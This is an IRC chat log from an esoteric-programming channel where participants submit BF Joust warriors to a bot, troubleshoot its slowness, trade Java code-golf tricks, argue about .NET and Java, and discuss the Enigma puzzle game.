compiler do unrolling? 00:03:45 ais523, um. It didn't handle inlining between files well 00:04:04 ais523, and doing a "combine + whole program optimise" is non-trivial 00:04:09 it can be done of course 00:04:20 but not using cmake 00:04:36 so you end up with a manual batch file 00:07:13 !bfjoust wot (>)*1 00:07:40 nooga: what a pointless program... 00:07:46 dammit 00:07:49 just as i refreshed 00:07:49 !underload (test)S 00:07:50 test 00:07:50 * nescience sighs 00:07:50 it doesn't even kill itself 00:08:04 tried to figure out how it works 00:08:08 how what works? 00:08:11 bf joust? 00:08:15 AnMaster: Pass all of the files to GCC at the same time. 00:08:19 that new toy - bfjoust 00:08:21 pikhq, I know 00:08:28 pikhq, gcc -combine -fwhole-program 00:08:29 why don't you go read about it then? :) 00:08:34 With bfjoust slox'd, it takes for freaking ever :P 00:08:35 Right. 00:08:42 Patashu: like where? 00:08:44 pikhq, doesn't help for the cmake build system 00:08:46 as I said 00:08:56 Damned Cmake. 00:09:04 http://esoteric.voxelperfect.net/wiki/BF_Joust 00:09:13 and http://retrocode.blogspot.com/2009/05/bf-joust-king-of-hill.html 00:09:15 pikhq, not really 00:09:20 pikhq, it is better than autotools 00:09:31 and a nice build system in general 00:09:35 not perfect, I agree 00:13:38 /usr/bin/perl ../bfjoust ais523_defend8.bfjoust nescience_simpletest.bfjoust has been running for EVER 00:14:37 GregorR, did you see what I said about properly slox-limiting it? 00:14:37 a clash of the titans 00:14:42 !bf_txtgen test 00:14:47 !bfjoust wot [>+] 00:14:50 61 ++++++++++[>++++++++++>++++++++++++>+><<<<-]>>----.<+.>-.+.>. [291] 00:14:55 00:14 AnMaster: GregorR, did you see what I said about properly slox-limiting it? 00:14:57 he did that. 00:14:57 !befunge98 'A,a,@ 00:15:01 that is why it is slow. 00:15:01 Hmm. 00:15:01 that's not going to do what you think it does, nooga 00:15:03 hm 00:15:05 son of a 00:15:06 again 00:15:14 i just want to see what happened >:( 00:15:15 i don't get it 00:15:19 Earlier, I viewer the generated assembly for a program compiled with -Os. 00:15:20 ehird, yes. luckily 00:15:22 ehird, but 00:15:26 and now it's off, so i can't 00:15:26 the issue is 00:15:27 * nescience sighs 00:15:28 Please WAIT for the run to finish before adding new warriors :P 00:15:30 nooga 00:15:30 Among other things, it had "xor %eax, %eax". 00:15:32 when it reaches the flag 00:15:36 it will step forward and fall off the edge 00:15:38 GregorR, other interpreters are broken, special commands are not 00:15:39 :( 00:15:40 GregorR, why 00:15:42 :), rather. 00:15:53 $ time ../bfjoust ais523_defend8.bfjoust nescience_simpletest.bfjoust 00:15:54 real 1m8.360s 00:15:55 how about backups of report.txt 00:15:56 ^^^ That's why 00:15:57 like the last 10 00:16:15 let's hope ehird finishes his new, faster, interpreter soon 00:16:21 GregorR, So why do other special commands work still 00:16:22 PLZ CAN HAS 00:16:26 harder better faster interpretier 00:16:31 the current interp I've written works very badly on programs like defend8 00:16:41 AnMaster: BECAUSE I slox'd it. 00:16:44 !echo hi 00:16:52 And yet that still doesn't work :P 00:17:02 00:16 ais523: let's hope ehird finishes his new, faster, interpreter soon ← yes, I'm working on it 00:17:08 it'll probably be done tomorrow 00:17:08 GregorR, so why doesn't THAT work then... 00:17:12 I have no idea. 00:17:22 GregorR, or is bf_txtgen not sloxed? 00:17:28 GregorR-L: can you have it, instead of replacing report.txt, keep the last X versions? 00:17:36 dfhioasfhoidashfupdhafoihaewiospfhdiosahfiud;sfhio 00:17:40 STOP EVERYBODY TALKING AT ME 00:17:40 i hate to keep submitting this when i only want to see the results once 00:18:01 nescience, so wait for your turn 00:18:04 i did 00:18:07 three times(?) now 00:18:10 * GregorR-L breathes. 00:18:19 except i can't sit here f5ing constantly to catch it and people keep submitting 00:18:21 nescience, don't resubmit it 00:18:23 so i've missed the results each time 00:18:35 the problem is, the better BF Joust gets, the more people want GregorR to do to improve it... 00:18:38 nescience, wait for the score in channel 00:18:39 Currently the CPU is barely in use, so I don't know why other things aren't running. 00:18:47 AnMaster: the score-in-channel is broken 00:18:53 GregorR, maybe restart it then 00:18:55 and doesn't tell me how it did against individual programs 00:19:03 nescience, SUBMIT A PATCH! 00:19:20 we are all waiting 00:19:23 AnMaster: at the rate this is going, a backup or three would be a simple, effective, solution 00:19:31 nescience, make a patch that does it 00:19:33 and i'd need the code to submit a patch eh? 00:19:35 we are waiting 00:19:38 !info 00:19:39 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 00:19:45 lol 00:19:47 there it is 00:19:59 nescience, now we are waiting for the patch 00:20:31 * GregorR-L is so glad when people defend him for a tick :P 00:20:58 AnMaster: shut the hell up for a change, eh? 00:21:04 GregorR-L, at your service :) 00:21:14 i was attempting to at least be polite to GregorR-L 00:21:46 nescience, to me that looked more like "buggering" 00:21:54 by asking a simple question? 00:22:00 nescience, repeatedly 00:22:02 no, you were the one being obnoxious 00:22:07 and i did not ask it repeatedly 00:22:12 PRIVMSG/tr_21.cmd: fork: Resource temporarily unavailable <-- well here's the problem 00:22:17 00:20 nescience: AnMaster: shut the hell up for a change, eh? ← don't bother 00:22:26 i've tried for over a year. 00:22:30 lol. 00:22:55 !echo 'ello there gents 00:22:56 'ello there gents 00:23:05 * GregorR-L up'd the limit from 32 procs to 1024 :P 00:23:05 how about backups of report.txt GregorR-L: can you have it, instead of replacing report.txt, keep the last X versions? <-- Last two cases. 00:23:14 oo 00:23:19 !c printf("ô_ô\n"); 00:23:20 ô_ô 00:23:31 GregorR, interesting 00:23:35 which were, in fact, related 00:23:37 GregorR, it proably needs to be restarted then 00:23:41 thus the same question 00:23:41 not sure 00:23:47 so is that mega bfjoust match stalled or chugging along? 00:23:47 i simply realized who to address it to 00:23:53 is there a way to test if it's making progress? 00:23:59 so.. yeah, whatever floats your boat i guess 00:24:00 GregorR, that is, if you did it in /etc/security/limits 00:24:01 It's chugging along. 00:24:06 aight 00:24:15 It's still running, but it's taking 4 minutes per run of defend8 X_X 00:24:43 ✞✞ 00:25:05 would defend8 run faster if you forcefully unrolled all the *s? 00:25:11 ›¿¡‽‹———…——— 00:25:12 slower 00:25:20 Score for nooga_wot: 10.8 00:25:20 Score for nooga_wot: 10.8 00:25:25 WOT? 00:25:40 hang on how'd it beat someone 00:25:41 lol 00:25:54 11 minutes? 00:25:58 wow 00:26:00 simpletest is 2nd place 00:26:00 lol 00:26:01 Ha, it beat ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust :P 00:26:03 it beat...defend6 a parody 00:26:04 what lol 00:26:15 is it safe to submit now? 00:26:18 but it didn't beat any of the defends 00:26:36 what's nooga_wot's source? 00:26:47 [>+] 00:26:47 oh, [>+] 00:26:48 lol 00:26:49 haha 00:26:58 hehe :> 00:27:03 haha, I just figured out how 00:27:05 !bfjoust wat [->] 00:27:09 AN ARROW TO THE FUTURE 00:27:20 a nice case of perfect timing 00:27:54 NEED FASTER INTERPRETER 00:27:57 defend8 so slow :( 00:28:02 defend eiiiiight 00:28:08 I curse the ground you stand apon 00:28:21 !bfjoust wat [->] <-- won't that just nop very very early on 00:28:28 second cell 00:28:31 hm 00:28:32 correct. 00:28:33 wait no 00:28:34 lol 00:28:35 GregorR-L: yeah, yeah, I'm on it 00:28:39 just remove defend8 00:28:41 so we can get on with things 00:28:48 lol 00:28:50 ehird, just finish that interpreter :P 00:28:59 or 00:29:02 removing defend8: 3 seconds 00:29:06 pre-expand defend8 00:29:12 finishing interpreter, writing new hill infrastructure, ...: 95893458345 years 00:29:13 AnMaster: no 00:29:15 that slowsi t down 00:29:18 abbreviations speed up the interpreter 00:29:22 if you see (+)*1024 00:29:26 you can optimize it 00:29:29 where is score chart? 00:29:34 ehird: If the new interpreter just exits with 1 or 2, the new hill infrastructure is one line of change. 00:29:39 nooga: http://codu.org/eso/bfjoust/report.txt 00:29:41 empty while calculating 00:29:52 uh 00:29:54 GregorR-L: it's much much more nuanced than that, and I want to make a new scoring mechanism 00:29:55 and shit 00:29:57 (Yes, that's on my list, I'm fixing backslashes now) 00:30:29 -!- Halph has joined. 00:30:39 -!- coppro has quit (Read error: 54 (Connection reset by peer)). 00:30:48 -!- Halph has changed nick to coppro. 00:31:11 !bf_txtgen \ 00:31:17 37 ++++++++++[>+++++++++>+>><<<<-]>++.>. [37] 00:31:19 !befunge 'A,@ 00:31:20 wonder if there's something like java golf 00:31:20 Unsupported instruction ''' (0x27) (maybe not Befunge-93?) 00:31:21 :D 00:31:26 !befunge98 'A,@ 00:31:26 A 00:31:44 I've codegolfed in java 00:31:47 if that's what you mean 00:31:47 !befunge98 'A,,'B,@ 00:31:48 A 00:31:50 hm 00:31:59 !befunge98 'A,,a,'B,@ 00:31:59 A 00:33:01 Patashu: codegolfing in java is like trying to hide a truck in a matchbox, probably 00:33:13 nah 00:33:16 it's possible 00:33:17 you have to consider it relatively 00:33:18 for example 00:33:22 you're not going to be smaller than most languages 00:33:26 but you can be small relative to java programs 00:33:36 I beat primo's java program with my own once :) 00:33:38 enum H{{System.out.println("Hello, world!");System.exit(0);}} 00:33:50 enum is shorter than class, and using a static declaration + exit to avoid the no main error 00:33:57 is shorter than declaring a main method 00:33:59 !echo Hello\ AnMaster 00:34:00 Hello\ AnMaster 00:34:08 ehird: that is so wrong 00:34:10 hm 00:34:13 ais523: it so works :) 00:34:16 !slashes \a 00:34:17 a 00:34:17 it works 00:34:17 lol 00:34:19 !slashes \\a 00:34:19 \a 00:34:26 ehird: would that run at compile-time? 00:34:28 or at runtime? 00:34:30 ais523: runtime 00:34:30 ehird: i'd put System.do.me.a.favor.and.die() instead od System.exit(0); 00:34:30 ehird: That's impressive, actually. 00:34:33 !slashes /foo/b\\ar/foo 00:34:33 bar 00:34:35 of* 00:34:37 !slashes /foo/b\\\\ar/foo 00:34:37 b\ar 00:34:38 enum H{{System.out.println("Hello, world!");System.exit(0);}} ← 62 chars 00:34:41 class H{public static void main(String[] args){System.out.println("Hello, world!");}} ← 86 chars 00:34:41 right 00:34:41 Score for ehird_wat: 7.0 00:34:43 no contest 00:34:53 don't forget you can rename String[] args to String[]_ or similar 00:34:59 that saves four characters 00:35:02 class H{public static void main(String[]_){System.out.println("Hello, world!");}} 00:35:02 82 00:35:03 hey 00:35:03 no contest 00:35:07 where is nooga_wot ? 00:35:12 nooga: it was too bad 00:35:14 so it got killed 00:35:18 keeel 00:35:22 10.80 > 7.0 00:35:23 okay so is defend8 being removed? 00:35:29 I want to submit stuff on a good conscience 00:35:30 nooga: it died before that 00:35:34 unfair! 00:35:35 ehird, is this C# !? 00:35:37 I don't mind defend8 being removed 00:35:38 :C 00:35:39 java 00:35:41 AnMaster: Java. 00:35:43 ah 00:35:45 especially as it seems not to work the way I wanted it to 00:35:45 it looks verbose enough huh ;) 00:35:50 it seems very similar to C# 00:36:01 what 00:36:10 c# is basically java w/ less crap and som nice stuff 00:36:11 some 00:36:22 and some bad stuff 00:36:28 ehm 00:36:28 And less portability. 00:36:29 well 00:36:33 yay! 00:36:33 that isn't C# itself 00:36:33 i can't think of any bad stuff it adds to java 00:36:35 rather .NET 00:36:37 pikhq: Er, Mono. 00:36:44 true, .NET has some bad points 00:36:47 !slashes http://oerjan.nvg.org/esoteric/slashes/quine.sss 00:36:56 but C# as a language is OK, and .NET isn't unportable 00:36:58 "It runs on Windows XP *and* Vista! ... Oh, and Mono, if you want it to." 00:37:00 erm 00:37:00 oh god 00:37:06 pikhq: Mono runs on everything. 00:37:07 ehird: it doesn't port to Mac 00:37:11 IIRC 00:37:13 GregorR-L: ^ that's still not working 00:37:14 I thought Mono was Linux only 00:37:15 ais523: Mono runs on OS X 00:37:17 ehird, it is unportable. Unless you keep being developing on mono 00:37:17 And windows 00:37:18 And linux 00:37:19 and BSD 00:37:23 then it will run on .NET too 00:37:26 AnMaster: Mono is mostly compatible with .NET's base library. 00:37:29 ehird: .NET isn't unportable. However, a lot of .NET code makes Win32 API calls. 00:37:34 A *lot*. 00:37:37 GUI stuff, not as much. But base library, ... 00:37:41 ehird, with .NET 1.1 + some of 2.0 yes 00:37:43 oerjan: In what way is it failing? I don't see any output. 00:37:50 AnMaster: .NET 3.0 = .NET 2.0 00:37:59 ehird, what about 3.5 00:38:02 ehird, and wrong 00:38:09 AnMaster: It is not wrong. The framework itself is identical. 00:38:17 ehird, that "in language expression" thing 00:38:18 for example 00:38:24 AnMaster: It is not a major release. 00:38:26 Mono will run on everything, but that doesn't make .NEt a good idea 00:38:27 forgot the name for it 00:38:29 It is a minor new release 00:38:37 coppro: it's just as good as an idea as the JVM... 00:38:38 GregorR-L: it's a 1496 character quine 00:38:50 one line, but i assume it should be cut off... 00:38:53 JavaOS FTW 00:39:11 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 00:39:12 /\/\/\/\\\\/\\\\\\\/\\\\\\\/\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\//\/\/\/\\\/\/\\////\\////\\\///\\////\\\///\\////\\\///\\////\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\////\\\///\\////\\\// 00:39:15 at least JVM is open source 00:39:25 !slashes this is a quine. 00:39:25 this is a quine. 00:39:28 oerjan, ^ 00:39:29 ;P 00:39:32 huh now it arrived just with the second character 00:39:35 JavaOS! 00:39:41 AnMaster: i know, without /\ it's trivial 00:39:46 00:39 coppro: at least JVM is open source 00:39:48 Ding! Wrong. 00:39:49 oerjan, yeah 00:39:52 OpenJDK 7, yes. 00:39:53 _with_ /\ it's as hard as any other language 00:39:55 But not 1.5 or 1.6. 00:39:56 ehird: Yes it is. 00:40:01 Yes, there is an OpenJDK backport for 1.6. 00:40:03 oerjan, yep 00:40:03 OpenJDK 6, too. 00:40:04 harder 00:40:07 But it isn't totally 1.6 compatible. 00:40:12 That is, it's hard to use it as a 1.6. 00:40:13 with _just_ /\, a bit worse :D 00:40:15 ehird: yeah, but at least they're tryping 00:40:17 Yes it is. 00:40:21 It passes 1.6 compliance tests. 00:40:29 pikhq: which means jack shit in the real world. 00:40:42 coppro: .NET isn't a canonical implementation, anyway 00:40:46 .NET is a CLI implementation 00:40:47 so's Mono 00:40:49 Java's compliance tests are thorough. 00:40:50 if you're sane pick the latter 00:40:55 GregorR-L: seems it was just slow, unless it somehow waited for the second command 00:41:02 http://en.wikipedia.org/wiki/JavaOS << beautiful, but sloooooooooooooooooooooooooooooooooooo 00:41:06 oerjan, proved it TC yet? 00:41:07 oooooooooooooooooooooooooooooooooooooooooooooooo 00:41:13 oooooooooooooooooooooooooooooooooooooooooooooooooooow 00:41:13 nooga: stop being a retard 00:41:14 AnMaster: yes, oerjan has 00:41:14 java is fast 00:41:17 by implementing BCT 00:41:19 ehird: no 00:41:20 it just has a long startup time 00:41:28 ais523, I missed where he proved it 00:41:30 nooga: java _is_ fast. 00:41:32 Not so much barebones feature tests as they are comprehensive unit tests, covering the entire JDK. 00:41:34 only saw him working on it 00:41:42 ehird: few people are sane enough to know, mainly because they go "but... WPF" 00:41:42 ehird: but not JavaOS 00:41:44 http://codu.org/eso/bfjoust/in_egobot/reports/ 00:41:58 Gee, that didn't quite work :P 00:42:01 nooga: have you tried it? I haven't so I don't konw. 00:42:02 * GregorR-L fixy 00:42:04 GregorR-L: not very impressive atm 00:42:06 *know 00:42:20 AnMaster: http://oerjan.nvg.org/esoteric/slashes/bct.sss 00:42:28 but that's far too slow for EgoBot 00:42:57 ehird: repeating a comment I made earlier while I wasn't here: have you seen the Enigma trailer? 00:42:58 ehird: prove it 00:43:02 AnMaster: also, http://oerjan.nvg.org/esoteric/slashes/BCT.hs for the generator of the monstrosity 00:43:06 it's so bad it's hilarious 00:43:07 oerjan, how do you do a non-trivial infinite loop in it then 00:43:08 nooga: i asked a question, dick 00:43:11 ais523: nope 00:43:26 ais523, for the engima *game*? 00:43:29 ehird: http://download.berlios.de/enigma-game/EnigmaTrailer1.flv 00:43:30 AnMaster: yes 00:43:35 ehird: of course not, it would boot for 9000 years 00:43:39 ais523: .flv? Can I have the flash player version? 00:43:43 ehird: there isn't one 00:43:47 ais523: ... 00:43:49 they just gave a link to the flv 00:43:51 An .flv without a flash player? 00:43:52 ehird: Mplayer. 00:43:53 LOL VAT 00:43:53 yes 00:43:54 i don't have so much time to wait 00:43:57 I played it with ffmpeg 00:44:00 ais523, trailer? Is this Lara Croft on Bio with s/Lara Croft/The black ball/ 00:44:04 pikhq: yeah sure, requires opening a terminal etc 00:44:05 OK, NOW http://codu.org/eso/bfjoust/in_egobot/reports/ :P 00:44:09 AnMaster: just look at it, it defies explanation 00:44:12 Or VLC or ffmpeg or Xine. 00:44:13 well, I could explain it 00:44:17 but it's funnier to see it yourself 00:44:32 AnMaster: you self-replicate the program with a quoting scheme. See http://oerjan.nvg.org/esoteric/slashes/counter3.sss for the sanest version 00:45:00 ais523: Cannot find codec matching selected -vo and video format 0x6. 00:45:03 can't watch it 00:45:10 Works in VLC. 00:45:10 AnMaster: what are you trying to watch it with? 00:45:12 -!- olsner has quit ("Leaving"). 00:45:15 Any further requests while I'm poking at EgoBot? Going once, going twice? 00:45:16 ais523, mplayer 00:45:20 ais523: enigma is a puzzle game! 00:45:23 try ffmpeg 00:45:24 with fuzzy graphics. 00:45:29 GregorR-L: Write EgoBot in Plof. 00:45:32 :p 00:45:33 ehird: there's encoding fail near the start 00:45:34 ehird, not fuzzy graphics? 00:45:36 although it improves later 00:45:45 OR MEDITATE IN THE HOLES 00:46:01 meditation levels are the opposite of meditation 00:46:07 File 'EnigmaTrailer1.flv' already exists. Overwrite ? [y/N] 00:46:08 err 00:46:11 more like aggravation 00:46:13 how does one use ffmpeg 00:46:14 :/ 00:46:21 AnMaster: by converting it to another format 00:46:26 that you can play 00:46:26 right 00:46:35 AnMaster: or just use ffplay 00:46:36 ehird: java.is.slow.and.verbose() 00:46:42 which comes with it 00:46:44 ffmpeg -i output.myfavoriteformat 00:46:46 nooga: you're an idiot. java sucks as a language, but it is fast 00:46:46 ah! 00:46:53 AnMaster: ffplay? 00:46:55 ehird: C is fast 00:47:07 nooga: why do I even bother talking to you? you're more of an idiot than AnMaster 00:47:10 afk 00:47:18 ais523: this is the most boring tailer evar 00:47:20 *trailer 00:47:22 ehird: yes 00:47:24 ehird: you're asking me? 00:47:35 nooga: you have experience in the matter 00:47:37 I told you it was bad 00:47:38 !bfjoust lazy >+>->++>-->--->+++>>>((-.)*512>)*21 00:47:39 Score for Patashu_lazy: 11.8 00:47:40 USE THE ITEMS 00:47:42 :D 00:47:48 DON'T EAT THEM OR HAVE INTERCOURSE WITH THEM 00:47:49 USE THEM! 00:47:53 Keep breathing! 00:47:58 Eat and drink food and water! 00:48:00 -!- GregorR-L has set topic: #esoteric: Where the crowd is always friendly, so long as you don't talk to them. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 00:48:19 -!- ehird has set topic: #esoteric: Where ehird is always friendly, so long as you don't talk to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 00:48:35 * ais523 thinks "enigma includes different floors" is one of the better captions 00:48:44 !bfjoust rushpolarity >(+)*10>(-)*10>-->++(>)*5((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 00:48:45 Score for Patashu_rushpolarity: 23.6 00:48:49 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 00:48:51 Score for Patashu_matador: 27.0 00:49:19 ais523: Watch me play chess for ages! 00:49:41 yes, and it isn't even chess 00:49:45 yep 00:50:06 OK, fixed a bug: Now it won't show an old score for an old program :P 00:50:14 ais523: have I watched this for 4 minutes already? 00:50:21 probably 00:50:24 addictive, isn't it? 00:50:32 my brain is leaking out from my ears 00:50:38 and underneath my eyes 00:50:53 I don't know how anyone could have thought it was a good idea 00:50:58 I wonder if it would persuade people to download the game? 00:51:05 i'll have to watch it tomorrow when i'm more awake so I find it even funnier 00:51:26 " have you seen the death stones ... " 00:51:35 yeah that was awful 00:53:08 "enigma includes laser games ... " 00:53:27 wo 00:53:34 enigma ftw 00:53:41 nooga: it's a good game 00:53:45 sure 00:53:52 and 6 of my levels are in the next version 00:53:53 what page do I go to to view the report now? 00:53:54 terrible advertising, though 00:53:57 ais523: oh, you got them in? 00:53:59 i remember oxyd magnum under dos 00:53:59 http://codu.org/eso/bfjoust/report.txt no longer updates 00:54:02 ehird: yes 00:54:05 not all, but some 00:55:22 " this is a temple full of gold ! " 00:55:26 yeah 00:55:31 enigma runs on OS X 00:55:37 enigma runs on lots of things 00:55:38 ultimate win 00:55:46 they were discussing my sudoku level with me 00:56:02 we need to make it more efficient, in order to work on low-end processors like ARM 00:56:11 haha 00:56:29 sudoku on a microprocessor? 00:56:30 ais523: ARM can run full Ubuntu, you know 00:56:35 I know 00:56:38 not minimal embedded ARM, though 00:56:49 ais523, that trailer... 00:56:51 but I was trying to do something inefficient every 100ms 00:56:52 how strange 00:57:03 we're talking about how to optimise that bit of the code 00:57:06 *10ms 00:57:43 I love the way they add a teaser for the next version ("Rhythm of Space" isn't in Enigma 1.01) 00:58:08 ais523: 1.01? is that old or new 00:58:09 I forget 00:58:10 ais523, I assume it is in svn then 00:58:12 1.01's current 00:58:16 1.10 is the svn version 00:58:21 AnMaster: yep, it is 01:01:02 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 01:03:03 -!- inurinternet has quit (No route to host). 01:08:42 -!- lament has joined. 01:09:04 HAR 01:10:28 what's this "Enigma"? 01:10:57 awesome game 01:11:08 coppro: the second-best open-source game for Linux 01:11:11 after Battle for Wesnoth 01:11:15 it runs on everything else too 01:11:18 http://enigma-game.org 01:11:19 noooo 01:11:27 BfW is boring 01:11:30 ais523, third best 01:11:36 AnMaster: oh? 01:11:41 1) nethack 2) BfW 3) Engima 01:11:45 hmm... let's see if it gives DROD a run for it's money 01:11:53 ah, I didn't count nethack for some reason 01:12:02 ais523, oh? 01:12:08 probably because it's console-based 01:12:15 add GUI to my statement above 01:12:26 ais523, I also think simutrans is better. Which has a GUI 01:12:34 but it was originally for windows iirc 01:12:41 only later was ported to linux 01:12:46 so was DROD 01:12:48 well, NetHack was originally for UNIX 01:12:48 so it doesn't qualify 01:12:52 ais523, true 01:12:56 coppro: download Enigma, anyway, it's a great game 01:13:03 yeah, downloading it 01:13:27 it easily gets boring though 01:13:32 what, Enigma? 01:13:34 drod = www.caravelgames.com btw 01:13:36 yeah 01:13:43 oh I remember, you hate all the levels except the boring ones 01:13:47 which you find interesting 01:13:58 AnMaster: You neglected to mention anything by iD. 01:14:06 i want to make some eso coding based puzzle game 01:14:13 pikhq, Um, isn't the graphics still closed source there iirc 01:14:24 you know: arrange some weird runes to make something work 01:14:27 or maybe I mixed something up 01:14:34 The .wads aren't free. 01:14:43 nooga: there's a Brainfuck-based programs in Enigma 01:14:43 ON IPHONE! 01:14:49 pikhq, and I have great respect for the fast inverse square root 01:14:51 *puzzle 01:14:52 ais523: show? :D 01:14:55 Well, Doom has shareware .wads. 01:14:58 pikhq, is that the name then? 01:14:58 nooga: "print 23", search for it 01:15:03 ok 01:15:06 well that explains it 01:15:07 but it's the exception, not the rule 01:15:17 How does Enigma work? 01:15:18 pikhq, I don't consider it free and open without free and open data 01:15:27 I've got the basics down 01:15:28 coppro: basically, it's a generic puzzle game 01:15:30 you control a marble 01:15:33 ais523: erm 01:15:35 Fine. You're a bit more hardcore than Stallman, but anyways. 01:15:37 yeah, try to match the boxes 01:15:39 quite common phrase 01:15:42 but what are the scrolls for, etc. 01:15:42 and what you have to accomplish in a level varies a lot 01:15:43 Total conversions of those games, then? 01:15:44 pikhq, sure source may be, but it isn't very useful to the end user 01:15:47 coppro: left-click 01:15:49 they're document 01:15:51 *documents 01:15:51 pikhq, who doesn't own said data 01:15:53 that explain what to do 01:16:02 pikhq, and I never had doom or quake 01:16:17 they go into your inventory when you run over them; left-click to use the item you most recently picked up, mousewheel or right-click to change which item you use 01:16:31 AnMaster: Emerge it; I'm sure it's in Portage. 01:16:37 pikhq, the data files too? 01:16:52 Those are gratis, not libre, but yeah. 01:17:01 No-go 01:17:07 OpenTTD is also awesome 01:17:12 Congrats. 01:17:21 nooga, it sucks compared to simutrans 01:17:30 pikhq: you know how with libre files you can theoretically read the source, before running it? Well, AnMaster actually does 01:17:30 You are more 'free and open'-ish than Stallman. 01:17:35 nooga, like no stations underground. Or tunnels with bends in 01:17:45 ais523, I often do yes 01:17:47 ais523: That... Is very scary. 01:18:05 AnMaster: BTW, have you ever checked out Second Life? 01:18:06 >:D 01:18:06 ais523, I don't read the full source of every new glibc or kernel 01:18:12 pikhq, no I haven't 01:18:21 pikhq, doesn't work in offline mode 01:18:24 Its source is a very... Interesting read. 01:18:24 AnMaster: but ottd has quite clean signaling rules 01:18:26 and I never play multiplayer 01:18:27 ever 01:18:42 I just hate multiplayer 01:18:55 AnMaster: what do you never play multiplayer? 01:18:57 AnMaster: is it that because you always loose? :D 01:18:58 nooga, um? 01:19:04 Oh, fine. By "interesting", I mean that it is Pandora's Box in code form. 01:19:07 nooga, doesn't simutrans too? 01:19:18 AnMaster: i'll give it a try 01:19:25 ais523, I'm both a bad winner and a bad looser 01:19:29 I think it has half of the STL reimplemented poorly. 01:19:43 pikhq, which game? 01:19:51 Second Life. 01:19:53 ah 01:19:55 ais523: Is (a{}b{}c)%5 allowed? And is (a)*5 the same as (a)%5 ? 01:20:24 And its developers are enamoured with XML. 01:20:41 pikhq, I'm so not ever going to look at that 01:20:42 I think if someone invented a low-level XML language, they would use it. 01:20:46 *shudder* 01:21:03 step 1: grab the C++ standard 01:21:13 AnMaster: Consider that a goatse-esque thing. 01:21:14 step 2: make every token an XML element 01:21:17 step 3: enjoy 01:21:17 pikhq, 01:21:18 and 01:21:24 that solves Intel vs AT&T 01:21:26 THEY WOULD DO IT 01:21:30 since you can put them in either order 01:21:36 GregorR-L: for the first question, no, you can only have one {} in a (); for the second question, no, you need {} in a ()% block, so you'd have to write (a{})%5 to do the same as (a)*5 01:21:40 or 01:21:44 THE CHOICE IS YOURS! 01:21:49 ais523: Ah, got it. 01:22:19 or even: 01:22:29 01:22:31 :D 01:22:43 01:22:58 pikhq, invalid. Those attributes are required 01:23:13 however... all labels must have an end 01:23:15 like: 01:23:38 Inline comments for the lulz? 01:23:38 01:24:05 AnMaster: Not valid XML. 01:24:11 pikhq, no? 01:24:12 The label tag was already closed. 01:24:22 pikhq, typo 01:24:29 I didn't mean to close it 01:24:33 Also dumb. 01:24:38 Labels don't nest in assembly. 01:24:41 pikhq, that was part of the point 01:24:53 Ah. 01:25:08 pikhq, and no they aren't allowed to nest 01:25:20 with one exception 01:25:30 one level of local can nest in non-local 01:25:48 -!- inurinternet has joined. 01:25:55 I... And... I HATE YOU 01:26:14 BAD XML SCHEMA WRITER, BAD! 01:26:26
01:26:38 lmao 01:26:54 what do the mini black balls do? 01:27:01 coppro: extra lives 01:27:07 01:27:11 does that become relevant later? 01:27:13 I KEEL YOU 01:27:17 not sure that cdata is correct 01:27:22
01:27:24 if you have one in your inventory and die, and the level allows resurrection, you end up being resurrected at the start of the level rather than having to restart 01:27:29 and yes, I imagine you'll mess up later 01:27:37 and fall into water or hit a death stone or something 01:27:42 some levels are very lethal 01:28:03 pikhq, did I get the CDATA signature right? 01:28:35 I DUNNO, I KEEL YOU 01:28:45 http://www.youtube.com/watch?v=eB2nkRG2kMI here 01:28:48 pikhq, you kneel before me? 01:28:49 huh 01:28:52 that's nice! 01:28:58 this is what i am after 20 hours of work 01:29:19 YES. SURE. I DON'T CARE, BURN WITH THE HEAT OF A THOUSAND SUNS! 01:29:38 * pikhq kneels with a nuke strapped to his back. Hits the Big Red Button™. 01:29:42 pikhq, also I think this would of course be much better in S-Expressions 01:30:05 now night 01:31:43 wait 01:31:49 I just have to ask first 01:32:00 pikhq, why did you have a duke strapped on your back 01:32:06 and what did the duke think about it 01:33:18 night 01:33:59 It was the Duke of Nukem, actually. 01:47:46 -!- psygnisfive has joined. 01:54:42 If both programs + at the same time in the same cell, does 2 get added? It's confusing because they both look at the "in" value... 01:55:13 it should add 2 01:55:15 i assume 2 should be added 01:55:17 if it doesn't, that's a bug 01:55:26 OK, that makes sense, but the "spec" didn't make it clear :P 01:57:00 ais523: what do the silver/gold medals and feathers on the level selection screen mean? 01:57:30 coppro: feather = unsolved easy level, silver = solved easy level, gold = hard level 01:57:38 you can click on the feather button to switch between easy and hard mode 01:58:32 ah 01:58:48 enjoying it, btw? 01:58:53 And what happens when a program terminates? Just loops? 01:59:08 yes, though for pure puzzleness DROD still triumphs 02:01:17 is it just me or are the blocks not randomized in hard mode? 02:01:31 GregorR-L: infinite nops 02:01:34 coppro: on which level? 02:01:41 on most levels, the oxyds are random 02:01:42 ais523: OK, thanks. 02:01:43 on some, they aren't 02:01:46 oh 02:01:47 ok 02:04:17 also is it just me, or is par not par? 02:04:36 coppro: it's an average score for good players 02:04:46 I must really suck then 02:04:48 although, if you only just got it, you may not have up-to-date records 02:04:57 and most pars are rather hard to get 02:05:00 because lots of these I can only hit par if I get real lucky on the draw 02:05:03 because many of the good players are realy good 02:05:18 also, people going for par keep repeating levels until they get a good time 02:05:19 so guys 02:05:27 i now own a NeXTstation Turbo 02:08:07 omg 02:08:12 someone mentioned enigma? 02:08:14 i love you 02:08:28 nescience: I've written levels for Enigma 02:08:34 oxyd is probably my favorite puzzle series of all time 